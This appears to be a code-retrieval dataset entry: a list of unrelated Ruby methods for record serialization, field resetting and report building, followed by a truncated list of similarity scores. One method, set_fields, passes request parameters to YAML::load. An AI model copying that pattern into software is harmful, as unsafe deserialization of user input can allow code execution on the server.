"def prepare_serialization!\n # force the group/owner to be translated from uid/gid, if those keys\n # were given on instantiation\n owner\n group\n end",
"def prep_for_json\n build_json = {}\n build_json['phone_number'] = self.phone_number\n if (!self.attendee_user_id.nil?) ## might be nil for non_user\n build_json['user_id'] = self.attendee_user_id\n end\n build_json['status'] = self.status\n build_json['role'] = self.role\n\n build_json\n end",
"def post_load(all_records)\n end",
"def reset_unnecessary_fields\n self.media = nil\n self.raw_location = nil\n self.lat = nil\n self.lng = nil\n self.city = nil\n self.state = nil\n self.country_code = nil\n self.zip = nil\n self.photo_file_name = nil\n self.photo_content_type = nil\n self.photo_file_size = nil\n self.photo_updated_at = nil\n self.url = nil\n self.organization = nil\n self.stream_flow_ids = []\n self.department_id = nil\n self.public_role_es = nil\n self.public_role_eu = nil\n self.public_role_en = nil\n self.gc_id = nil\n self.description_es = nil\n self.description_eu = nil\n self.description_en = nil\n self.politician_has_agenda = nil\n end",
"def prepare\n self.capture_uninvoiced_ledger_entries!\n self.create_freshbooks_invoice!\n self.apply_freshbooks_credit!\n end",
"def reset_unnecessary_fields\n self.raw_location = nil\n self.lat = nil\n self.lng = nil\n self.city = nil\n self.state = nil\n self.country_code = nil\n self.zip = nil\n self.photo_file_name = nil\n self.photo_content_type = nil\n self.photo_file_size = nil\n self.photo_updated_at = nil\n self.url = nil\n self.media = nil\n self.organization = nil\n self.department_id = nil\n self.public_role_es = nil\n self.public_role_eu = nil\n self.public_role_en = nil\n self.gc_id = nil\n self.description_es = nil\n self.description_eu = nil\n self.description_en = nil\n self.politician_has_agenda = nil\n end",
"def prepare_for_new_batch\n invoke_callback(:before_each_batch)\n\n new_rows.clear\n update_attrs.clear\n records.clear\n Thread.current[:existing_ids] = nil\n end",
"def fix_raw!\n raw['created_at'] = ModelCommon.flatten_date(raw['created_at'])\n raw['id'] = ModelCommon.zeropad_id(raw['id'])\n raw['protected'] = ModelCommon.unbooleanize(raw['protected'])\n Wukong.encode_components raw, 'name', 'location', 'description', 'url'\n # There are several users with bogus screen names\n # These we need to **URL encode** -- not XML-encode.\n if raw['screen_name'] !~ /\\A\\w+\\z/\n raw['screen_name'] = Wukong.encode_str(raw['screen_name'], :url)\n end\n end",
"def setup_properties!(_options)\n if model.identification\n self.catalog_record_ids = CatalogRecordId.links(model)\n self.other_catalog_record_ids = CatalogRecordId.other_links(model)\n self.refresh = CatalogRecordId.link_refresh(model)\n self.barcode = model.identification.barcode\n self.source_id = model.identification.sourceId\n end\n\n self.copyright = model.access.copyright\n self.use_statement = model.access.useAndReproductionStatement\n self.license = model.access.license\n setup_view_access_with_cdl_properties(model.access)\n end",
"def view_to_hash(view, fetch_data = false)\n root = {:head => [], :rows => []}\n\n has_checkbox = !@embedded && !@no_checkboxes\n\n # Show checkbox or placeholder column\n if has_checkbox\n root[:head] << {:is_narrow => true}\n end\n\n # Icon column, only for list with special icons\n root[:head] << {:is_narrow => true} if ::GtlFormatter::VIEW_WITH_CUSTOM_ICON.include?(view.db)\n\n view.headers.each_with_index do |h, i|\n col = view.col_order[i]\n next if view.column_is_hidden?(col, self)\n\n field = MiqExpression::Field.new(view.db_class, [], view.col_order[i])\n align = field.numeric? ? 'right' : 'left'\n\n root[:head] << {:text => h,\n :sort => 'str',\n :col_idx => i,\n :align => align}\n end\n\n if @row_button # Show a button as last col\n root[:head] << {:is_narrow => true}\n end\n\n # Add table elements\n table = view.sub_table || view.table\n view_context.instance_variable_set(:@explorer, @explorer)\n table.data.each do |row|\n target = @targets_hash[row.id] unless row['id'].nil?\n\n new_row = {\n :id => list_row_id(row),\n :long_id => row['id'].to_s,\n :cells => [],\n :clickable => params.fetch_path(:additional_options, :clickable)\n }\n\n if defined?(row.data) && defined?(params) && params[:active_tree] != \"reports_tree\"\n new_row[:parent_id] = \"rep-#{row.data['miq_report_id']}\" if row.data['miq_report_id']\n end\n new_row[:parent_id] = \"xx-#{CONTENT_TYPE_ID[target[:content_type]]}\" if target && target[:content_type]\n new_row[:tree_id] = TreeBuilder.build_node_id(target) if target\n if row.data[\"job.target_class\"] && row.data[\"job.target_id\"]\n controller = view_to_hash_controller_from_job_target_class(row.data[\"job.target_class\"])\n new_row[:parent_path] = (url_for_only_path(:controller => controller, :action => \"show\") rescue nil)\n new_row[:parent_id] = row.data[\"job.target_id\"].to_s if row.data[\"job.target_id\"]\n end\n root[:rows] << new_row\n\n if has_checkbox\n new_row[:cells] << {:is_checkbox => true}\n end\n\n options = {\n :clickable => params.fetch_path(:additional_options, :clickable),\n :row_button => @row_button\n }\n new_row[:cells].concat(::GtlFormatter.format_cols(view, row, self, options))\n end\n\n root\n end",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def initialize\n # this hash maps models to layout names \n @special_layout = {\n Contribution => \"Language_contributors (table)\",\n MeaningsVerb => \"Verb_meanings (table)\",\n ExamplesVerb => \"Verb_examples (table)\",\n Languageref => \"Languages (Editors' layout)\",\n AlternationValuesExample => \"Alternation_value_examples (table)\",\n CodingFrameExample => \"Verb_coding_frame_examples (table)\",\n CodingFrameIndexNumbersMicrorole => \"Coding_frame_Microrole_index_numbers (table)\"\n }\n # this hash maps a model to a hash from property name to FileMaker field name\n @special_field_name = { # FileMaker field names must be in lowercase!\n Alternation => {\n 'coding_frames_text' => 'coding_frames_of_alternation',\n 'complexity' => 'simplex_or_complex'\n },\n GlossMeaning => {\n 'comment' => 'gloss_meaning_comments::comments'\n },\n Example => {\n 'person_id' => 'source_person_id'\n },\n Meaning => {\n 'meaning_list' => 'z_calc_meaning_list_core_extended_new_or_old'\n },\n Language=> {\n 'name_for_url' => 'z_calc_language_name_for_url'\n },\n Languageref=> {\n 'id' => 'language_id',\n 'name' => 'language_name',\n 'nodata' => 'z_calc_alternation_occurs_nodata_percent'\n },\n CodingFrame => {\n 'derived' => 'z_calc_basic_or_derived'\n },\n Person => {\n 'email' => 'email_address',\n 'affiliation' => 'academic affiliation',\n 'photo_url' => 'photo url'\n },\n Verb => {\n 'verb_type' => 'v_type'\n }\n }\n end",
"def save_all_fields_from_record(record)\n self.save_base_attributes(record)\n self.changed_keys = record.attributes.keys\n self.old_values ||= Hash.new\n self.new_values ||= Hash.new\n record.attributes.keys.each do |key|\n self.old_values[key] = record.attributes[key]\n self.new_values[key] = nil\n end\n self.filter_attributes(record)\n end",
"def create_doc_records(proposal)\n\n EdiHelper.transform_log.write \"Transforming Hansa World Enterprise (HWE)..\"\n\n # ---------\n # BH record (heading)\n # ---------\n # Headings are provided by the schema's defaults. No need to set values here.\n rec_set = HierarchicalRecordSet.new({}, 'BH')\n\n # ----------\n # HWE record\n # ----------\n extended_fgs = ExtendedFg.find(:all,\n :select => '\n extended_fgs.extended_fg_code,\n extended_fgs.grade_code,\n extended_fgs.marketing_org_code,\n extended_fgs.old_fg_code,\n extended_fgs.tu_nett_mass,\n extended_fgs.units_per_carton,\n fg_products.carton_pack_product_code,\n fg_products.unit_pack_product_code,\n item_pack_products.actual_count,\n item_pack_products.basic_pack_code,\n item_pack_products.cosmetic_code_name,\n item_pack_products.marketing_variety_code,\n item_pack_products.product_class_code,\n item_pack_products.size_ref,\n carton_pack_styles.description carton_pack_style_description,\n commodities.commodity_description_long,\n marketing_varieties.marketing_variety_description,\n fg_marks.ri_mark_code,\n fg_marks.ru_mark_code,\n fg_marks.tu_mark_code,\n basic_packs.short_code,\n unit_pack_products.nett_mass unit_pack_product_nett_mass,\n unit_pack_product_types.description unit_pack_product_type_description',\n\n :joins => '\n INNER JOIN fg_products ON fg_products.fg_product_code = extended_fgs.fg_code\n INNER JOIN item_pack_products ON (item_pack_products.item_pack_product_code = fg_products.item_pack_product_code\n AND item_pack_products.id = fg_products.item_pack_product_id)\n INNER JOIN carton_pack_products ON (carton_pack_products.carton_pack_product_code = fg_products.carton_pack_product_code\n AND carton_pack_products.id = fg_products.carton_pack_product_id)\n INNER JOIN carton_pack_styles ON (carton_pack_styles.carton_pack_style_code = carton_pack_products.carton_pack_style_code\n AND carton_pack_styles.id = carton_pack_products.carton_pack_style_id)\n INNER JOIN commodities ON commodities.commodity_code = extended_fgs.commodity_code\n INNER JOIN marketing_varieties ON (marketing_varieties.marketing_variety_code = item_pack_products.marketing_variety_code\n AND marketing_varieties.id = item_pack_products.marketing_variety_id)\n INNER JOIN fg_marks ON fg_marks.fg_mark_code = extended_fgs.fg_mark_code\n INNER JOIN basic_packs ON basic_packs.basic_pack_code = item_pack_products.basic_pack_code\n INNER JOIN unit_pack_products ON (unit_pack_products.unit_pack_product_code = fg_products.unit_pack_product_code\n AND unit_pack_products.id = fg_products.unit_pack_product_id)\n INNER JOIN unit_pack_product_types ON (unit_pack_product_types.type_code = unit_pack_products.type_code\n AND unit_pack_product_types.id = unit_pack_products.unit_pack_product_type_id)',\n\n :conditions => ['extended_fgs.created_on > ? or extended_fgs.updated_on > ?', 1.day.ago, 1.day.ago])\n #:conditions => ['extended_fgs.id > ? AND extended_fgs.id < ?', 59,70])\n\n extended_fgs.each do |record|\n\n varsize = record.size_ref == 'NOS' ? record.actual_count : record.size_ref\n unit_pp_nett_mass = record.unit_pack_product_nett_mass.nil? ? '' : record.unit_pack_product_nett_mass << 'Kg'\n\n innerpackdesc = case record.unit_pack_product_type_description\n when 'Tray'\n '(Tray)'\n when 'Bag'\n \"(#{record.units_per_carton}x#{unit_pp_nett_mass}Bag)\"\n else\n ' '\n end\n\n description = [record.commodity_description_long,\n record.marketing_variety_description,\n record.tu_mark_code,\n record.short_code,\n record.carton_pack_style_description,\n varsize,\n record.product_class_code,\n record.grade_code,\n record.cosmetic_code_name,\n innerpackdesc,\n record.tu_nett_mass].join(' ') << ' Kg'\n\n classification = ['FG',\n record.marketing_variety_code,\n record.product_class_code,\n record.grade_code,\n record.actual_count,\n record.basic_pack_code,\n record.cosmetic_code_name,\n record.size_ref,\n record.units_per_carton,\n record.unit_pack_product_code,\n record.carton_pack_product_code,\n record.marketing_org_code,\n record.ri_mark_code,\n record.ru_mark_code,\n record.tu_mark_code].join(',')\n\n hwe_rec = HierarchicalRecordSet.new({\n 'fg_item_description' => description,\n 'fg_item_code' => record.extended_fg_code,\n 'alternate_code' => record.old_fg_code,\n 'classification' => classification\n }, 'HWE')\n\n rec_set.add_child hwe_rec\n\n end\n\n rec_set\n end",
"def sanitize_data(records)\n records\n end",
"def preload(records, associations, given_preload_scope = nil)\n super records, associations, chronomodel_scope(given_preload_scope)\n end",
"def initialize_fields_entities!\n @entity = SimpleAdmin::Entity.find_by(model_klass_name: model_klass.to_s)\n @entity_fields = @entity.entity_fields.where(presentation: field_presentation)\n end",
"def records=(records)\n clear\n concat(records)\n end",
"def data_for_create\n data = {\n event: @record.paper_trail_event || \"create\",\n whodunnit: PaperTrail.request.whodunnit\n }\n if @record.respond_to?(:updated_at)\n data[:created_at] = @record.updated_at\n end\n if record_object_changes? && changed_notably?\n data[:object_changes] = recordable_object_changes(changes)\n end\n add_transaction_id_to(data)\n merge_metadata_into(data)\n end",
"def prepare_data(results_hash)\n\n @entities_store = {}\n @generic_relations_store = {}\n @events_store = {}\n # find all Entities in response\n @entities_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"entities\"}\n # find all GenericRelations in response\n @generic_relations_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"relations\" &&\n hash[\"_type\"] == \"GenericRelations\"}\n # find all Events in response\n @events_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"relations\" &&\n hash[\"_type\"] != \"GenericRelations\"}\n\n Ohm.redis = Redic.new(REDIS)\n\n\n #for each Entity find all related Relations and Events and store them to Ohm/Redis\n @entities_store.each_pair do |k, v|\n\n entity_set = EntityModel.find(calais_id: k)\n\n if entity_set.size > 0 #entity already exists in store\n entity = entity_set.first\n k = entity.calais_id\n else #entity doesn't exist in store\n entity = EntityModel.create(:name => v['name'], :type => v['_type'], :calais_id => k)\n entity.save\n end #if\n\n\n #get all referenced relations\n find_in_relations(k).each do |obj|\n\n found_rel = get_relation(obj[0])\n if found_rel\n\n found_rel.subject = convert_to_hash(found_rel.subject)\n found_rel.object = convert_to_hash(found_rel.object)\n\n relation = EntityModel::RelationModel.create(:subject => found_rel.subject,\n :object => found_rel.object,\n :verb => found_rel.verb,\n :detection => found_rel.detection,\n :calais_id => obj[0])\n entity.relations.add(relation)\n end #if\n end #each\n #get all referenced events\n find_in_events(k).each do |obj|\n found_event = get_event(obj[0])\n attribs = {}\n if found_event\n\n found_event.each_pair do |key, val|\n\n key = key.to_s.slice(1, key.length-1)\n attribs[key] = val\n\n end #block\n\n event = EntityModel::EventModel.create(:calais_id => obj[0], :info_hash => attribs)\n entity.events.add(event)\n\n end #if\n\n end #each\n end #each_pair\n end",
"def __new_portal_record_info=(data)\n data.each do |d|\n table_name = d[:tableName]\n\n portal_new_records =\n portals.detect { |p| p.portal_key == table_name }.select { |r| !r.persisted? }\n\n # The DAPI provides only one recordId for the entire portal in the\n # newPortalRecordInfo object. This appears to be the recordId of\n # the last portal record created, so we assume all portal records\n # coming before it must have sequential recordIds up to the one we\n # do have.\n portal_new_records.reverse_each.with_index do |record, i|\n record.__record_id = d[:recordId].to_i - i\n\n # New records get a fresh modId\n record.__mod_id = 0\n end\n end\n end",
"def load_fields!\n attributes = {}\n data_hash.each do |entry|\n next unless entry.is_a? Hash\n entry.keys.each { |key| attributes[key] ||= nil }\n end\n @fields = attributes.keys\n end",
"def initialize\n @index = {}\n @records = []\n @joins = []\n end",
"def prepare_json\n to_return = Hash.new()\n to_return[:primary_key] = @primary_key\n to_return[:note_id] = @note.note_id\n to_return[:uuid] = @uuid\n to_return[:type] = @type\n to_return[:conforms_to] = @conforms_to\n to_return[:alt_text] = @alt_text\n to_return[:token_identifier] = @token_identifier\n to_return[:html] = generate_html\n\n to_return\n end",
"def dissect_to_record_hashes\n end",
"def populate_access_rec(rec, params, request)\n omni_hash = request.env['omniauth.auth']\n if rec.new_record?\n # put in key values for new record\n rec.user_id = current_user.id rescue rec.errors.add(:user_id, 'missing current_user.id parameters')\n rec.provider = params['provider']\n rec.uid = omni_hash[:uid] rescue rec.errors.add(:uid, 'missing uid parameters')\n rec.email = omni_hash[:info][:email] rescue rec.errors.add(:email, 'missing [:info][:email] parameters')\n else\n # comparison key values obtained safely\n user_id = current_user.id rescue nil\n provider = params['provider'] rescue nil\n uid = omni_hash[:uid] rescue nil\n email = omni_hash[:info][:email] rescue nil\n # confirm no change in key fields\n rec.errors.add(:user_id, \"does not match #{user_id.inspect}\") if rec.user_id != user_id\n rec.errors.add(:provider, \"does not match #{provider.inspect}e\") if rec.provider != provider\n rec.errors.add(:uid, \"does not match #{uid.inspect}\") if rec.uid != uid\n rec.errors.add(:email, \"does not match #{email.inspect}\")if rec.email != email\n end\n rec.name = omni_hash[:info][:name] rescue rec.errors.add(:name, 'missing [:info][:name] parameters')\n # hack to get omniauth mock to pass the state and code values\n if Rails.env.test?\n omni_params = request.env['omniauth.params']\n rec.state = omni_params['state'] rescue rec.errors.add(:state, 'missing mock state parameters')\n rec.code = omni_params['code'] rescue rec.errors.add(:code, 'missing mock code parameters')\n else\n rec.state = params['state']\n rec.code = params['code']\n end\n rec.expires = omni_hash[:credentials][:expires] rescue nil\n rec.expires_at = nil\n if rec.expires\n # get timestamp from expires_at in unix seconds since epoch ( January 1, 1970 - midnight UTC/GMT )\n expires_at_i = Integer(omni_hash[:credentials][:expires_at]) rescue 0\n rec.expires_at = Time.at(expires_at_i).utc.to_datetime if expires_at_i > 0\n end\n rec.token = omni_hash[:credentials][:token] rescue rec.errors.add(:name, 'missing [:credentials][:token] parameters')\n rec.refresh_token = omni_hash[:credentials][:refresh_token] rescue nil # OK if no refresh token\n rec. omni_hash = omni_hash\n return rec\n end",
"def clean_json records\n json_data = records.as_json # this is as_json method of Mongoid::Criteria class \n\n if json_data.class == Array # if the json data is an array\n json_data.each do |row|\n row[\"id\"] = row.delete \"_id\" # this is to make sure angular recognizes @id when sending requests\n end\n else\n json_data[\"id\"] = json_data.delete \"_id\" # if the json_data is not an array\n end\n\n json_data\n end",
"def reset_data\n @pg_data_table = {}\n @gameview_data_table = {}\n @userlist_table = {}\n @last_parsed_pglist_data = []\n @last_parsed_userlist_data = []\n end",
"def create_hash\n require 'digest/md5'\n digest_string = [self.id, self.url, self.referrer, self.created_at].join(\"\")\n self.record_hash = Digest::MD5.hexdigest(digest_string)\n end",
"def record_hash(record, fieldset, params = {})\n if cached\n record_hash = Rails.cache.fetch(record.cache_key, expires_in: cache_length, race_condition_ttl: race_condition_ttl) do\n temp_hash = id_hash(id_from_record(record), record_type, true)\n temp_hash = temp_hash.merge(attributes_hash(record, fieldset, params)) if attributes_to_serialize.present?\n temp_hash[:relationships] = {}\n temp_hash[:relationships] = relationships_hash(record, cachable_relationships_to_serialize, fieldset, params) if cachable_relationships_to_serialize.present?\n temp_hash[:links] = links_hash(record, params) if data_links.present?\n temp_hash\n end\n record_hash[:relationships] = record_hash[:relationships].merge(relationships_hash(record, uncachable_relationships_to_serialize, fieldset, params)) if uncachable_relationships_to_serialize.present?\n record_hash[:meta] = meta_hash(record, params) if meta_to_serialize.present?\n record_hash\n else\n record_hash = id_hash(id_from_record(record), record_type, true)\n record_hash = record_hash.merge(attributes_hash(record, fieldset, params)) if attributes_to_serialize.present?\n record_hash[:relationships] = relationships_hash(record, nil, fieldset, params) if relationships_to_serialize.present?\n record_hash[:links] = links_hash(record, params) if data_links.present?\n record_hash[:meta] = meta_hash(record, params) if meta_to_serialize.present?\n record_hash\n end\n end",
"def set_metadata record_or_hash\n if record_or_hash.is_a?(Hash)\n hash = record_or_hash\n else\n record = record_or_hash\n end\n\n @metatags = helpers.metatags(record)\n @metatags = hash.reverse_merge(@metatags) unless hash.nil?\n @structured_data = helpers.structured_data(record)\n end",
"def set_metadata record_or_hash\n if record_or_hash.is_a?(Hash)\n hash = record_or_hash\n else\n record = record_or_hash\n end\n\n @metatags = helpers.metatags(record)\n @metatags = hash.reverse_merge(@metatags) unless hash.nil?\n @structured_data = helpers.structured_data(record)\n end",
"def transform\n {\n 'name' => names,\n 'org' => org,\n 'other' => other_data,\n 'associates' => associates,\n 'xref' => xref,\n\n # these are lists with zero or more members; duplicates allowed; member order is arbitrary (so we pick\n # a standardized order for list comparison purposes)\n 'phones' => phones,\n 'addresses' => addresses,\n 'emails' => emails,\n 'links' => links\n }.reject {|k,v| v.nil? || v.empty?}\n end",
"def prepare_params_for_view\n # parameters used when render views \n @project = Project.new(@project_params)\n @tasks = []\n @tasks_params.each do |i, task_params|\n @tasks << Task.new(task_params)\n end\n end",
"def call(records)\n records.each do |rec|\n if rec.is_a?(model)\n change_primary_key(rec)\n # see the class comment on {CompositeFilter}\n rec.instance_eval { remove_instance_variable(:@_key) if defined?(@_key) }\n end\n change_foreign_keys_if_any(rec)\n end\n end",
"def records_for_populate(options = {})\n records_base(options)\n end",
"def snapshot_model\n model = {\n 'identity': identity,\n 'identity_type': identity_type,\n 'public_key': Virgil::Crypto::Bytes.new(public_key).to_base64,\n 'scope': scope,\n 'data': data\n }\n model['info'] = info if (info && info.any?)\n model\n end",
"def user_records\n @user_records = (view_context.filter_params[:sort].present?) ? user.records.reorder(\"#{view_context.parsed_current_sort.first} #{view_context.parsed_current_sort.last}\", view_context.secondary_sort) : user.records.reorder(created_at: :desc) \n end",
"def fill_out\n @build = {}\n descend(@schema, [])\n @build\n end",
"def recreate_object_key\n $feed.unrecord(\"project:#{id}\")\n data = { id: self.id, name: self.display_name }\n data[:photo] = self.profile_photo_url(:thumb) if self.profile_photo\n $feed.record(\"project:#{id}\", data)\n end",
"def serialize_data(records)\n records.map { |r|\n data_adapter.record_to_hash(r, final_columns(:with_meta => true)).tap { |h|\n\n config[:extra_fields].each do |f|\n name = f[:name].underscore.to_sym\n h[name] = send(\"#{name}#{f[:type] == 'boolean' ? '?' : ''}\", r)\n end\n\n inline_children = get_inline_children(r)\n h[:data] = serialize_data(inline_children) unless inline_children.nil?\n h\n }\n }\n end",
"def create \n @record = current_user.records.new(record_params)\n \n # if the record was saved successfully\n if @record.save\n @record.update_user_json_keys!\n redirect_to records_path\n # else errors\n else\n # reset json\n @saved_json = params[:record][:json]\n render :new\n end\n end",
"def prepare_to_store\n self.stored_notifiable_path = notifiable_path\n self.stored_printable_notifiable_name = printable_notifiable_name\n if group_owner?\n self.stored_group_notification_count = 0\n self.stored_group_member_notifier_count = 0\n self.stored_group_members = []\n end\n self\n end",
"def prepare_receipt\n\t\tcart_item_ids = cart_items.map{|c| c = c.id.to_s}\n\t\tcart_payment_ids = cart_payments.map{|c| c = c.id.to_s}\n\t\treceipt = self.attributes.merge({:cart_items => cart_item_ids, :cart_payments => cart_payment_ids})\n\t\treceipt\n\tend",
"def prepare_translations!\r\n stash.each do |locale, attrs|\r\n if attrs.any?\r\n translation = record.translations.find_by_locale(locale)\r\n translation ||= record.translations.build(:locale => locale)\r\n attrs.each{ |name, value| translation[name] = value }\r\n end\r\n end\r\n reset\r\n end",
"def initialize\n @records = []\n end",
"def reset_fields\n self.sender_doc_id_version = nil\n self.receiver_doc_id_version = nil\n self.project_doc_id_version = nil\n self.submission_receiver_doc_id = nil\n self.submission_project_doc_id = nil\n self.response_sender_doc_id = nil\n self.response_project_doc_id = nil\n self.plnd_submission = nil\n self.actl_submission = nil\n self.xpcd_response = nil\n self.actl_response = nil\n self.response_status = nil\n end",
"def prep_merge_fields(merge_fields)\n # Upper-case all the keys as this is how MC expect them.\n merge_fields.map { |k, v| [k.upcase, v] }.to_h\n end",
"def objectify_records(result)\n result[:records] = result[:records].collect do |rec|\n MemoryRecord.new.init(rec[0], rec[1])\n end\n result\n end",
"def serialize_record_data?; collect_keys.present? || collect_only_keys.present?; end",
"def index\n @receipt_details = ReceiptDetail.includes(:expense, receipt: [:store]).all\n @receipt_details.each do |e|\n e.expense = Expense.new unless e.expense\n end\n\n respond_to do |format|\n format.html\n format.json\n format.csv { send_data @receipt_details.to_csv }\n end\n end",
"def setup_template_params_for_rendering\n @template_params[:fieldsets] = fieldsets\n @template_params[:fieldsets_links] = fieldsets_links\n end",
"def prepare\n end",
"def prepare\n end",
"def object_id_cache\n @object_id_cache ||= {\n # appeals: exported_records(Appeal).map { |appeal| [appeal[\"id\"], appeal[\"name\"]] }.to_h,\n orgs: exported_records(Organization).map { |org| [org[\"id\"], org[\"name\"]] }.to_h,\n users: exported_records(User).map { |user| [user[\"id\"], user[\"css_id\"]] }.to_h,\n tasks: exported_records(Task).map { |task| [task[\"id\"], \"#{task['type']}_#{task['id']}\"] }.to_h\n }\n end",
"def new_from_hash_w_constraints model_hash, constraints\n\n logger.debug(model_hash.inspect)\n #logger.debug(active_scaffold_constraints.inspect)\n #logger.debug(session[:last_data_entry_constraints].inspect)\n\n # overwrite values with constrained values for this record\n unless constraints.nil? || constraints.empty?\n model_hash.merge! constraints\n end\n\n logger.debug(model_hash.inspect)\n\n klass = controller_model_class\n couldnt_find_models = {} # any fields that held id's\n # where, when we looked in the database for them,\n # no matching record was found\n\n model_hash.each do |k,v|\n\n # TODO remove dirty hack\n # is this field an association or regular column?\n # model should be responsible for knowing what field to look for,\n # right now we assume all have a name\n association_class = klass.reflect_on_association(k.to_sym).try :klass\n\n if association_class # if column is an association column\n value_as_id = v.try(:to_i) #is the value an id or a name?\n attempted_find_method = :find_by_name\n if value_as_id != 0 # if it is an id\n attempted_find_method = :find\n v = value_as_id\n end\n\n # TODO catch if we can't find the id\n # thing is we don't, at the moment, have users read in files with id's\n # only give in id's from constraints made in the controllers\n associated_object = association_class.send(attempted_find_method, v)\n\n if associated_object\n model_hash[k] = associated_object\n else\n couldnt_find_models[k]={:association => k,\n :raw_value => model_hash.delete(k), :cleaned_value => v}\n end\n\n end\n end\n record = klass.new model_hash\n def record.association_lookup_errors #use for error handling later\n couldnt_find_models\n end\n if record.respond_to?(:data_response=)\n record.data_response = current_user.current_data_response\n end\n record\n end",
"def set_fields\n @screen = session.active_screen\n @report = Report.find(params[:id])\n\n params[:report] ||= {}\n params[:report][:fields] ||= []\n\n org_field_report = @report.fields_reports\n new_field_reports = params[:report][:fields]\n\n #remove not exist in new\n rem_field_report_ids = org_field_report.collect{|fr| fr.id}.compact - new_field_reports.collect{|f_r| f_r[:field_report_id].to_i unless f_r[:field_report_id].empty?}.compact\n org_field_report.each do |fr|\n fr.destroy if rem_field_report_ids.include?(fr.id)\n end unless rem_field_report_ids.empty?\n\n # merge field_report\n new_field_reports.each_with_index do |f_r, idx|\n f_r[:seq_no] = idx\n f_r['formula'] = YAML::load(f_r['formula'].gsub('^n',\"\\n\")) unless f_r['formula'].empty?\n field_report_id = f_r.delete(:field_report_id).to_i\n if field_report_id == 0\n f_r['percentage_weight'] = {'-1' => 'false'}\n \n @report.fields_reports << FieldsReport.new(f_r)\n else\n field_report = FieldsReport.find(field_report_id)\n field_report.update_attributes(f_r)\n end\n end\n\n ht_report = {}\n ht_report[:cell_location] = params[:report][:cell_location]\n \n @report.update_attributes(ht_report)\n end",
"def set_api_response_data\n users_list = []\n @users.each do |u|\n ukd = @user_kyc_details[u.id]\n ukd_present = ukd.present?\n users_list << {\n user_id: u.id,\n case_id: ukd_present ? @user_kyc_details[u.id].id : 0,\n email: u.email,\n registration_timestamp: u.created_at.to_i,\n is_kyc_submitted: ukd_present.to_i,\n whitelist_status: ukd_present ? @user_kyc_details[u.id].whitelist_status : nil,\n action_to_perform: action_to_perform(ukd)\n }\n end\n\n meta = {\n page_number: @page_number,\n total_records: @total_filtered_users,\n page_payload: {\n },\n page_size: @page_size,\n filters: @allowed_filters,\n sortings: @sortings,\n }\n\n data = {\n meta: meta,\n result_set: 'users_list',\n users_list: users_list\n }\n\n @api_response_data = data\n\n end",
"def initialize(records:, association_tree:)\n @association_tree = association_tree\n\n super(records: records)\n end",
"def init_values\n @id = nil\n @name = nil\n @parent_id = nil\n end",
"def data\n data = {\n item: @record,\n event: @record.paper_trail_event || \"update\",\n whodunnit: PaperTrail.request.whodunnit\n }\n if record_object?\n data[:object] = recordable_object(@is_touch)\n end\n merge_object_changes_into(data)\n merge_item_subtype_into(data)\n merge_metadata_into(data)\n end",
"def fill_out_form(hash)\n self.main_title=hash[:main_title]\n self.main_author=hash[:main_author]\n self.co_authors=hash[:co_authors]\n self.publisher=hash[:publisher]\n self.place_of_publication=hash[:place]\n self.volume_title=hash[:volume_title]\n self.volume_information=hash[:volume_info]\n self.year=hash[:year]\n self.number=hash[:number]\n self.series_title=hash[:series]\n self.url=hash[:url]\n end",
"def initialize_fields\n terms_for_editing.each do |key|\n # if value is empty, we create an one element array to loop over for output \n self[key] = [''] if self[key].empty?\n end\n end",
"def structure_records_from_flat_hash h\n rtn = {}\n rtn[:klass] = h.delete :klass\n rtn[:code] = h.delete :code\n rtn[:xlate] = h.extract! :name, :note, :desc\n rtn[:no_xlate] = h\n return rtn\n end",
"def build_report\n klass = model_class.constantize\n @cols = klass.columns.map { |c| c.name.to_sym }\n @assocs = klass.reflect_on_all_associations\n\n through = @assocs.each_with_object({}) { |x, hsh| hsh[x.options[:through]] = 1 }\n # through={} ; @assocs.each { |x| through[x.options[:through]] = 1 }\n @assocs = @assocs.select { |x| !through[x.name] }\n @tire_saved = klass.tire.mapping.keys\n end",
"def init_report\n raise if @report.new_record?\n \n # if not a new record, run it and record viewing\n @report.record_viewing\n \n return run_and_handle_errors\n end",
"def prepare(user, coversheet = false)\n hash = coversheet ? prepare_coversheet : {}\n template = Template.includes(phases: { sections: { questions: :question_format } })\n .joins(phases: { sections: { questions: :question_format } })\n .where(id: template_id)\n .order('sections.number', 'questions.number').first\n hash[:customization] = template.customization_of.present?\n hash[:title] = title\n hash[:answers] = answers\n\n # add the relevant questions/answers\n phases = []\n template.phases.each do |phase|\n phs = { title: phase.title, number: phase.number, sections: [] }\n phase.sections.each do |section|\n sctn = { title: section.title,\n number: section.number,\n questions: [],\n modifiable: section.modifiable }\n section.questions.each do |question|\n txt = question.text\n sctn[:questions] << {\n id: question.id,\n text: txt,\n format: question.question_format\n }\n end\n phs[:sections] << sctn\n end\n phases << phs\n end\n hash[:phases] = phases\n\n # include any research outputs\n hash[:research_outputs] = prepare_research_outputs\n # include any related works\n hash[:related_works] = prepare_related_works\n\n record_plan_export(user, :pdf)\n\n hash\n end",
"def to_h\n {model: model, record_id: record_id, changes: changes}\n end"
] |
[
"0.58589375",
"0.5785718",
"0.5683079",
"0.55321085",
"0.5511057",
"0.54135317",
"0.54135317",
"0.5404786",
"0.5402465",
"0.5366928",
"0.53584087",
"0.53435737",
"0.53381556",
"0.5328095",
"0.5327253",
"0.52591956",
"0.52518874",
"0.5238703",
"0.52359915",
"0.52140564",
"0.5212535",
"0.5207155",
"0.51931345",
"0.5187371",
"0.5181975",
"0.517812",
"0.515843",
"0.5152056",
"0.5116213",
"0.51148343",
"0.510953",
"0.5089205",
"0.5087479",
"0.50849247",
"0.50731236",
"0.50586635",
"0.5045173",
"0.50428176",
"0.5036068",
"0.5026703",
"0.50248617",
"0.501594",
"0.50127673",
"0.4989407",
"0.4988563",
"0.49846292",
"0.49773297",
"0.49683848",
"0.49568513",
"0.49556315",
"0.49551544",
"0.49527115",
"0.4947359",
"0.4944978",
"0.4942743",
"0.494113",
"0.49356148",
"0.4921587",
"0.49156627",
"0.4902939",
"0.49027807",
"0.49003294",
"0.4898733",
"0.48979864",
"0.48947993",
"0.4892993",
"0.48906618",
"0.4879223",
"0.48736516",
"0.48704007",
"0.48674983",
"0.48649427",
"0.48603687",
"0.48597527",
"0.48540545",
"0.48496866",
"0.48442566",
"0.48358",
"0.4833141",
"0.4831117",
